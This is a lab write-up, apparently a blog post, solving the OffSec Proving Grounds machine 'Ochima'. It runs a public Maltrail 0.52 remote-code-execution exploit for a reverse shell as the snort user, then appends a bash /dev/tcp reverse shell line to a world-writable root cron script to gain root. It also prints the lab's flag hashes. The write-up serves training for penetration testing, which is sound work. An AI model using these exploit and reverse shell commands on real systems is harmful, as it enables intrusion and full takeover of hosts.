Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - OCHIMA

·1812 words·9 mins·
OSCP OFFSEC PG PRACTICE MALTRAIL PSPY
 Author
Table of Contents

Summary
#

On port 8338 there is an application running called Maltrail 0.52 for which an unauthenticated RCE (https://github.com/spookier/Maltrail-v0.53-Exploit) is available and gives us initial access to the target as the snort user. Using PSPY64 we see that the root user runs a /var/backups/etc_Backup.sh script every minite. Using this script we can escalate our privileges to the root user.

Specifications
#

  • Name: OCHIMA
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • OS: Linux ochima 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.153.32
  • OFFSEC provided credentials: None
  • HASH: local.txt:5d39646c1aaade2fde1e8450e2b93f4d
  • HASH: proof.txt:06819cd15a45097d29c36a35dd5baa74

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir ochima && cd ochima && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Aug 17 15:53 .
drwxrwxr-x 31 kali kali 4096 Aug 17 15:53 ..
drwxrwxr-x  2 kali kali 4096 Aug 17 15:53 enum
drwxrwxr-x  2 kali kali 4096 Aug 17 15:53 exploits
drwxrwxr-x  2 kali kali 4096 Aug 17 15:53 files
drwxrwxr-x  2 kali kali 4096 Aug 17 15:53 tools
drwxrwxr-x  2 kali kali 4096 Aug 17 15:53 uploads

## set bash variable
ip=192.168.153.32

## ping target to check if it's online
ping $ip

PING 192.168.153.32 (192.168.153.32) 56(84) bytes of data.
64 bytes from 192.168.153.32: icmp_seq=1 ttl=61 time=18.4 ms
64 bytes from 192.168.153.32: icmp_seq=2 ttl=61 time=20.3 ms
^C
--- 192.168.153.32 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mdev = 18.364/19.351/20.339/0.987 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.153.32:22
Open 192.168.153.32:80
Open 192.168.153.32:8338
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 15:57 CEST
Initiating Ping Scan at 15:57
Scanning 192.168.153.32 [4 ports]
Completed Ping Scan at 15:57, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:57
Completed Parallel DNS resolution of 1 host. at 15:57, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 15:57
Scanning 192.168.153.32 [3 ports]
Discovered open port 80/tcp on 192.168.153.32
Discovered open port 22/tcp on 192.168.153.32
Discovered open port 8338/tcp on 192.168.153.32
Completed SYN Stealth Scan at 15:57, 0.05s elapsed (3 total ports)
Nmap scan report for 192.168.153.32
Host is up, received echo-reply ttl 61 (0.019s latency).
Scanned at 2025-08-17 15:57:36 CEST for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
8338/tcp open  unknown syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh     syn-ack ttl 61
80/tcp   open  http    syn-ack ttl 61
8338/tcp open  unknown syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
22,80,8338

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80,8338 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
|   256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
80/tcp   open  http    syn-ack ttl 61 Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
8338/tcp open  http    syn-ack ttl 61 Python http.server 3.5 - 3.10
| http-methods: 
|_  Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 4F9B844EA920CCFEA291014FE8B51B6D
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Maltrail/0.52
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

8338/tcp open  http    syn-ack ttl 61 Python http.server 3.5 - 3.10
| http-methods: 
|_  Supported Methods: GET POST
|_http-favicon: Unknown favicon MD5: 4F9B844EA920CCFEA291014FE8B51B6D
|_http-title: Maltrail
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Maltrail/0.52

On port 8338 there is, as shown in the output of NMAP a service running on Maltrail, 0.52. On the internet we can find a unauthenticated RCE (https://github.com/spookier/Maltrail-v0.53-Exploit) which gives us initial access to the target as the snort user in the /opt/maltrail-0.53 directory.

## change directory
cd exploits

## download the exploit
wget https://raw.githubusercontent.com/spookier/Maltrail-v0.53-Exploit/refs/heads/main/exploit.py

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup a listener
nc -lvnp 80  
listening on [any] 80 ...

## run the exploit
python3 exploit.py 192.168.45.204 80 $ip:8338  
Running exploit on 192.168.153.32:8338/login

## catch the reverse shell
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.153.32] 58832
$ 

## list current user
$ whoami
snort

## print current working directory
$ pwd
/opt/maltrail-0.53

## print `local.txt`
cat /home/snort/local.txt
5d39646c1aaade2fde1e8450e2b93f4d

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
snort@ochima:/opt/maltrail-0.53$ export TERM=xterm
snort@ochima:/opt/maltrail-0.53$ stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start local webserver
python3 -m http.server 80

## on target
## change directory
snort@ochima:/opt/maltrail-0.53$ cd /var/tmp
snort@ochima:/var/tmp$ 

## download `linpeas.sh`
snort@ochima:/var/tmp$ wget http://192.168.45.204/linpeas.sh
--2025-08-17 14:13:03--  http://192.168.45.204/linpeas.sh
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: β€˜linpeas.sh’

linpeas.sh                                          0%[                                                                                linpeas.sh                                        100%[=============================================================================================================>] 933.76K  5.10MB/s    in 0.2s    

2025-08-17 14:13:03 (5.10 MB/s) - β€˜linpeas.sh’ saved [956174/956174]

## set the execution bit
snort@ochima:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
snort@ochima:/var/tmp$ ./linpeas.sh

The linpeas.sh output shows there is a file 2023-12-11+12:27:50.1958901560 /var/backups/etc_Backup.sh on which we have permissions to read/write/execute.

snort@ochima:~$ ls -la /var/backups/etc_Backup.sh
-rwxrwxrwx 1 root root 54 Dec 11  2023 /var/backups/etc_Backup.sh

So next, we download and upload pspy to the target and run it to see if there are processes running that we can abuse, probably this script. . Go to: https://github.com/DominicBreuker/pspy, click on releases and select pspy64. Move the file to the uploads directory, startup a local webserver and on the target, download pspy64 and run it. We then see, this script is run every minute by the root user (UID=0). Now setup a listener and add a reverse shell command to the script and catch the reverse shell as the root user.

## change directory
cd uploads

## move the file from the local downloads directory to the uploads directory
mv ~/Downloads/pspy64 . 

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start a local webserver
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

## on the target
## change directory
snort@ochima:~$ cd /var/tmp
snort@ochima:/var/tmp$ 

## download pspy64 using wget
snort@ochima:/var/tmp$ wget http://192.168.45.204/pspy64
--2025-08-17 14:28:21--  http://192.168.45.204/pspy64
Connecting to 192.168.45.204:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: β€˜pspy64.1’

pspy64.1                                            0%[                                                                                pspy64.1                                           33%[===================================>                                            pspy64.1                                           57%[==============================================================>                 pspy64.1                                           94%[================================================================================pspy64.1                                          100%[=============================================================================================================>]   2.96M  4.75MB/s    in 0.6s    

2025-08-17 14:28:21 (4.75 MB/s) - β€˜pspy64.1’ saved [3104768/3104768]

## set execution bit
snort@ochima:/var/tmp$ chmod +x pspy64

## run pspy64
snort@ochima:/var/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ β–“β–ˆβ–ˆ   β–ˆβ–ˆβ–“
    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–ˆβ–ˆβ–’
    β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’β–‘ β–“β–ˆβ–ˆβ–„   β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’ β–’β–ˆβ–ˆ β–ˆβ–ˆβ–‘
    β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’  β–’   β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’ β–‘ β–β–ˆβ–ˆβ–“β–‘
    β–’β–ˆβ–ˆβ–’ β–‘  β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘ β–‘ β–ˆβ–ˆβ–’β–“β–‘
    β–’β–“β–’β–‘ β–‘  β–‘β–’ β–’β–“β–’ β–’ β–‘β–’β–“β–’β–‘ β–‘  β–‘  β–ˆβ–ˆβ–’β–’β–’ 
    β–‘β–’ β–‘     β–‘ β–‘β–’  β–‘ β–‘β–‘β–’ β–‘     β–“β–ˆβ–ˆ β–‘β–’β–‘ 
    β–‘β–‘       β–‘  β–‘  β–‘  β–‘β–‘       β–’ β–’ β–‘β–‘  
                   β–‘           β–‘ β–‘     
                               β–‘ β–‘     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2025/08/17 14:23:01 CMD: UID=0     PID=43549  | /bin/bash /var/backups/etc_Backup.sh 

## get the local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.204/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::789b:44fc:8aea:a793/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## setup listener
nc -lvnp 80
listening on [any] 80 ...

## add the reverse shell command to the script
echo "bash -i >& /dev/tcp/192.168.45.204/80 0>&1" >> /var/backups/etc_Backup.sh

## catch the reverse shell after a minute of waiting
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.204] from (UNKNOWN) [192.168.153.32] 51246
bash: cannot set terminal process group (43633): Inappropriate ioctl for device
bash: no job control in this shell
root@ochima:~# 

## print `proof.txt`
root@ochima:~# cat /root/proof.txt
06819cd15a45097d29c36a35dd5baa74

References
#

[+]

Related

OFFSEC - Proving Grounds - ZIPPER
·1808 words·9 mins
OSCP OFFSEC PG PRACTICE PHPWRAPPER PSPY
Zipper website on port 80 allows file uploads. Use ZIP PHP wrapper for initial access and escalate to root via /opt/backup.sh script.
OFFSEC - Proving Grounds - FLU
·2189 words·11 mins
OSCP OFFSEC PG PRACTICE CONFLUENCE PSPY
Atlassian Confluence 7.13.6 on port 8090 has CVE-2022-26134 exploit for initial access. Add reverse shell to script for root privileges.
OFFSEC - Proving Grounds - LAW
·1636 words·8 mins
OSCP OFFSEC PG PRACTICE PSPY
Exploit CVE-2022-35914 on htmLawed 1.2.5 (port 80) with curl for RCE, get www-data shell. Pspy finds root script owned by www-data, run every minute. Add reverse shell, wait for root shell.
OFFSEC - Proving Grounds - SCRUTINY
·2633 words·13 mins
OSCP OFFSEC PG PRACTICE VHOST JOHN SSH2JOHN TEAMCITY
Initial access via OFFSEC credentials or TeamCity CVE-2024-27198 exploit, get id_rsa key for marcot and password of multiple users. Briand runs /usr/bin/systemctl as root, escalate to root using GTFOBins.
OFFSEC - Proving Grounds - WORKAHOLIC
·2802 words·14 mins
OSCP OFFSEC PG PRACTICE WPPROBE SQLMAP HASHCAT FTP STRACE GCC
Use OFFSEC creds or scan Wordpress. Exploit a Wordpress vulnerability (CVE-2024-9796), crack hashes for charlie/ted. FTP as ted and SSH in as charlie. Escalate to root via SUID binary with custom shared object.
OFFSEC - Proving Grounds - CLUE
·2651 words·13 mins
OSCP OFFSEC PG PRACTICE CASSANDRA WEB FREESWITCH
Remote file read on Cassandra Web (port 3000) exposes cassie credentials. RCE via FreeSwitch (8021). As cassie, run cassandra-web as root, get a RSA key and login as root.